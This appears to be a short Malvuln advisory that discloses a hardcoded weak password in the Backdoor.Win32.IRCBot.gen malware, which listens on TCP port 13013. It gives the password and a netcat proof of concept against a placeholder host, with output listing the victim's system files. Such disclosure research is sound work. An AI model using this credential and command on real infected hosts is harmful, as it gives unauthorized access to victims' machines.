Backdoor.Win32.IRCBot.gen Hardcoded Credential

Backdoor.Win32.IRCBot.gen malware suffers from a hardcoded credential vulnerability.

MD5 | 713a5ecaaa4f74f116d19a2cce2fdbdb

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.IRCBot.gen
Vulnerability: Hardcoded Weak Password
Description: The malware listens on TCP port 13013. Authentication is required for remote user access. However, the password "sexjerx" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: bcfc89ca07bd0ad7b9396a0815c9fc39
Vuln ID: MVID-2021-0317
Dropped files: winvxd.exe
Disclosure: 08/11/2021

nc64.exe x.x.x.x 13013
pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
12520437.cpx (2151)
12520850.cpx (2233)
@AudioToastIcon.png (308)
@EnrollmentToastIcon.png (330)
@VpnToastIcon.png (404)
@WirelessDisplayToast.png (691)
aadauthhelper.dll (154624)
aadtb.dll (954880)
AboveLockAppHost.dll (252928)
accessibilitycpl.dll (3804160)
accountaccessor.dll (215552)
AccountsRt.dll (363520)
AcGenral.dll (2393600)
AcLayers.dll (372224)
acledit.dll (9216)
aclui.dll (5388800)
acppage.dll (68096)
AcSpecfc.dll (471552)
ActionCenter.dll (261632)
ActionCenterCPL.dll (541184)
ActivationClient.dll (30720)

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